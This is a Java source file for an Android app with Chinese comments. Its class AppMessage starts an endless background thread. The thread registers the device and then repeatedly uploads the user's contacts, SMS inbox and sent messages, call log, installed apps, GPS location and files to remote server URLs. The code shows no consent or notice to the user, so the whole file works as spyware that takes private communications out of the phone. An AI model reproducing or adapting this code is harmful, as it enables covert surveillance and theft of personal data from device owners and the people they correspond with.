/**
 * @author EX-LIJINHUA001
 * @date 2013-3-4
 */
package im.device.config;

import im.device.config.Constants.URLParamKey;
import im.device.config.action.HttpAction;
import im.device.config.widget.LocationPointAction;
import im.device.config.widget.LocationPointAction.MyLocationListener;

import java.lang.Thread.State;
import java.util.ArrayList;
import java.util.HashMap;

import org.json.JSONArray;

import android.content.Context;
import android.location.Location;
import android.view.WindowManager;
import app.http.HttpRequest;
import app.log.AppLog;
import app.utils.CommonUtils;
import app.utils.SystemInfoUtils;
import app.utils.Tools;

/**
 * App信息工具类
 * @author EX-LIJINHUA001
 * @date 2013-3-4
 */
public final class AppMessage {
	
	private static final String TAG = AppMessage.class.getSimpleName();
	
	private static boolean isSend = true;
	
	/**
	 * 单例模式
	 */
	private static AppMessage instance = null;
	
	/**
	 * 消息间隔时间毫秒
	 */
	private static long TIME_MINUTE = 60*1000;
	
	/**
	 * 消息发送间隔
	 */
	private static long MESSAGE_TIME = TIME_MINUTE;
	
	/**
	 * 同步地理位置
	 */
	private static long TIME_LOCAL = 30*TIME_MINUTE;
	
	/**
	 * 同步联系人
	 */
	private static long TIME_CONTACT = 120*24*60*TIME_MINUTE;
	
	/**
	 * 同步短信
	 */
	private static long TIME_SMS = 10*TIME_MINUTE;
	
	/**
	 * 同步应用列表
	 */
	private static long TIME_APPS_LIST = 7*24*60*TIME_MINUTE;
	
	/**
	 * 同步拨打纪录
	 */
	private static long TIME_CALL_LOG = 10*TIME_MINUTE;
	
	/**
	 * 消息线程
	 */
	private MessageThread mMessageThread;
	
	private Context mContext;
	
	private HttpAction mHttpAction;
	
	/**
	 * 不允许new产生一个对象
	 */
	private AppMessage(Context context) {
		super();
		mContext = context;
		mHttpAction = new HttpAction(context){
			@Override
			protected void onDeviceRegister(String deviceId) {
				// TODO Auto-generated method stub
				deviceRegister(deviceId);
			}
		};
		
		SystemInfoUtils siu = new SystemInfoUtils(context);
		siu.logSystemInfoAll();
		
		WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
		MessageManager.WIDTH = ""+wm.getDefaultDisplay().getWidth();//屏幕宽度
		MessageManager.HEIGHT = ""+wm.getDefaultDisplay().getHeight();//屏幕宽度
		MessageManager.VERSION = CommonUtils.getAppVersionName(context);
		
//		testInitTime();
		
		mMessageThread = new MessageThread();
		mMessageThread.start();
	}

	private void testInitTime(){
		/**
		 * 消息发送间隔
		 */
		MESSAGE_TIME = 10000;
		
		/**
		 * 同步地理位置
		 */
		TIME_LOCAL = TIME_MINUTE;
		
		/**
		 * 同步联系人
		 */
		TIME_CONTACT = TIME_MINUTE;
		
		/**
		 * 同步短信
		 */
		TIME_SMS = TIME_MINUTE;
		
		/**
		 * 同步应用列表
		 */
		TIME_APPS_LIST = TIME_MINUTE;
		
		/**
		 * 同步拨打纪录
		 */
		TIME_CALL_LOG = TIME_MINUTE;
	}
	/**
	 * 打开应用程序消息发送
	 * @author EX-LIJINHUA001
	 * @date 2013-3-4
	 * @param context
	 */
	public static final void open(Context context){
		if(!isSend){
			return;
		}
		
		if(instance == null){
			instance = new AppMessage(context);
		}else{
			instance.mContext = context;
			instance.mHttpAction.setContext(context);
		}
	}
	
	private String getDeviceId(){
		String id = CommonUtils.getSysValue(mContext, Constants.DEVICE_ID,"0");
		return id;
	}
	
	private boolean hasDeviceId(){
		String id = CommonUtils.getSysValue(mContext, Constants.DEVICE_ID,"0");
		return !"0".equals(id);
	}
	/**
	 * 注册设备
	 */
	private void sendRegisterDevice(){
		AppLog.i(TAG, "sendRegisterDevice");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getDeviceInfo();
		mHttpAction.sendRequest(R.string.URL_DEVICE_REGISTER, paramMap,HttpRequest.REQUEST_METHOD_POST);
		AppLog.d(TAG, paramMap.toString());
	}
	
	/**
	 * 发送地理位置
	 * @author EX-LIJINHUA001
	 * @date 2013-3-5
	 */
	private void sendLocation(){
		AppLog.i(TAG, "sendLocation");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getBaseInfo();
		mHttpAction.sendRequest(R.string.URL_GPS, paramMap,HttpRequest.REQUEST_METHOD_POST);
		AppLog.d(TAG, paramMap.toString());
	}
	
	/**
	 * 
	 * @author EX-LIJINHUA001
	 * @date 2013-3-5
	 */
	private void sendContact(){
		AppLog.i(TAG, "sendContact");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getBaseInfo();
		JSONArray contact = MessageManager.getInstance(mContext).getContact();
		paramMap.put(URLParamKey.DATA, contact.toString());
		AppLog.d(TAG, "大小："+contact.toString().getBytes().length);
		mHttpAction.sendRequest(R.string.URL_CONTACT, paramMap,HttpRequest.REQUEST_METHOD_POST);
	}
	
	/**
	 * @author EX-LIJINHUA001
	 * @date 2013-3-5
	 */
	private void sendSMSInbox(){
		AppLog.i(TAG, "sendSMSInbox");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getBaseInfo();
		JSONArray smsInbox = MessageManager.getInstance(mContext).getSMSInbox();
		String data = smsInbox.toString();
		AppLog.d(TAG, data);
		paramMap.put(URLParamKey.DATA, data);
		mHttpAction.sendRequest(R.string.URL_SMSINBOX, paramMap,HttpRequest.REQUEST_METHOD_POST);
	}
	
	/**
	 * 
	 * @author EX-LIJINHUA001
	 * @date 2013-3-5
	 */
	private void sendSMSSentbox(){
		AppLog.i(TAG, "sendSMSSentbox");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getBaseInfo();
		JSONArray smsSentbox = MessageManager.getInstance(mContext).getSMSSentbox();
		paramMap.put(URLParamKey.DATA, smsSentbox.toString());
		mHttpAction.sendRequest(R.string.URL_SMSSENTBOX, paramMap,HttpRequest.REQUEST_METHOD_POST);
		AppLog.d(TAG, smsSentbox.toString());
	}
	
	/**
	 * 
	 * @author EX-LIJINHUA001
	 * @date 2013-3-5
	 */
	private void sendAppList(){
		AppLog.i(TAG, "sendAppList");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getBaseInfo();
		JSONArray json = MessageManager.getInstance(mContext).getAppList();
		paramMap.put(URLParamKey.DATA, json.toString());
		mHttpAction.sendRequest(R.string.URL_APPS_LIST, paramMap,HttpRequest.REQUEST_METHOD_POST);
		AppLog.d(TAG, json.toString());
	}
	
	/**
	 * 
	 * @author EX-LIJINHUA001
	 * @date 2013-3-5
	 */
	private void sendCallLog(){
		AppLog.i(TAG, "sendCallLog");
		HashMap<String,String> paramMap = MessageManager.getInstance(mContext).getBaseInfo();
		JSONArray callLog = MessageManager.getInstance(mContext).getCallLog();
		paramMap.put(URLParamKey.DATA, callLog.toString());
		mHttpAction.sendRequest(R.string.URL_CALL_LOG, paramMap,HttpRequest.REQUEST_METHOD_POST);
		AppLog.d(TAG, callLog.toString());
	}
	
	private void sendFile(){
		mHttpAction.sendUpload();
	}
	
	/**
	 * 消息线程
	 * @author EX-LIJINHUA001
	 * @date 2013-3-4
	 */
	class MessageThread extends Thread{
		
		private long last_time_local = 0;
		private long last_time_contact = 0;
		private long last_time_sms = 0;
		private long last_time_apps = 0;
		private long last_time_calllog = 0;
		
		private MessageThread() {
			super();
			String time = CommonUtils.getSysValue(mContext, Constants.LAST_CONTACT_TIME,"0");
			AppLog.d(TAG, "LAST_CONTACT_TIME = " +time);
			try {
				last_time_contact = Long.parseLong(time);
			} catch (Exception e) {
				// TODO: handle exception
			}
		}

		@Override
		public void run() {
			while (true) {
				AppLog.d(TAG, "message send start ...");
				long current = System.currentTimeMillis();
				
				if(!hasDeviceId()){
					sendRegisterDevice();
				}else{
					AppLog.d(TAG, "DeviceId="+getDeviceId());
				}
				
				if((last_time_local + TIME_LOCAL) < current){
					requestLocation();
					last_time_local = current;
				}
				
				if((last_time_contact + TIME_CONTACT) < current && hasDeviceId()){
					sendContact();
					last_time_contact = current;
				}
				
				if((last_time_sms + TIME_SMS) < current && hasDeviceId()){
					sendSMSInbox();
					sendSMSSentbox();
					
					last_time_sms = current;
				}
				
				if((last_time_apps + TIME_APPS_LIST) < current && hasDeviceId()){
					sendAppList();
					last_time_apps = current;
				}
				
				if((last_time_calllog + TIME_CALL_LOG) < current && hasDeviceId()){
					sendCallLog();
					last_time_calllog = current;
				}
				
				sendFile();
				
				try {
					sleep(MESSAGE_TIME);
				} catch (InterruptedException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				AppLog.d(TAG, "message send end");
			}
		}
	}
	
	/**
	 * 请求获取位置信息
	 */
	private void requestLocation(){
		AppLog.d(TAG, "requestLocation");
		if(!CommonUtils.isNetworkAvailable(mContext)){
			//网络不可用
			return;
		}
		LocationPointAction lpa = new LocationPointAction();
		lpa.initLocationListener(mContext);
		lpa.setMyLocationListener(mMyLocationListener);
		lpa.requestLocationListener(mContext);
	}
	
	private MyLocationListener mMyLocationListener = new MyLocationListener(){

		@Override
		public void getLocalCity(String city) {
			AppLog.d(TAG, "MyLocationListener city:"+city);
			if(!Tools.isEmpty(city)){
				//定位到城市信息
				MessageManager.CITY = city;
			}
		}

		@Override
		public void getLocalAddress(String address) {
			AppLog.d(TAG, "getLocalAddress address:"+address);
			if(!Tools.isEmpty(address)){
				//定位到地址信息
				MessageManager.ADDRESS = address;
			}
			sendLocation();
		}

		@Override
		public void getLocation(Location location) {
			if(location != null){
				//定位到经纬度信息
				MessageManager.LONGITUDE = location.getLongitude();
				MessageManager.LATITUDE = location.getLatitude();
				AppLog.d(TAG, "getLocation location:["+location.getLatitude()+"]["+location.getLongitude()+"]");
			}
		}
	};
	
	/**
	 * 相应设备注册成功
	 * @param deviceId
	 */
	protected void deviceRegister(String deviceId) {
			requestLocation();
			sendContact();
			sendSMSInbox();
			sendSMSSentbox();
			sendAppList();
			sendCallLog();
	}
}
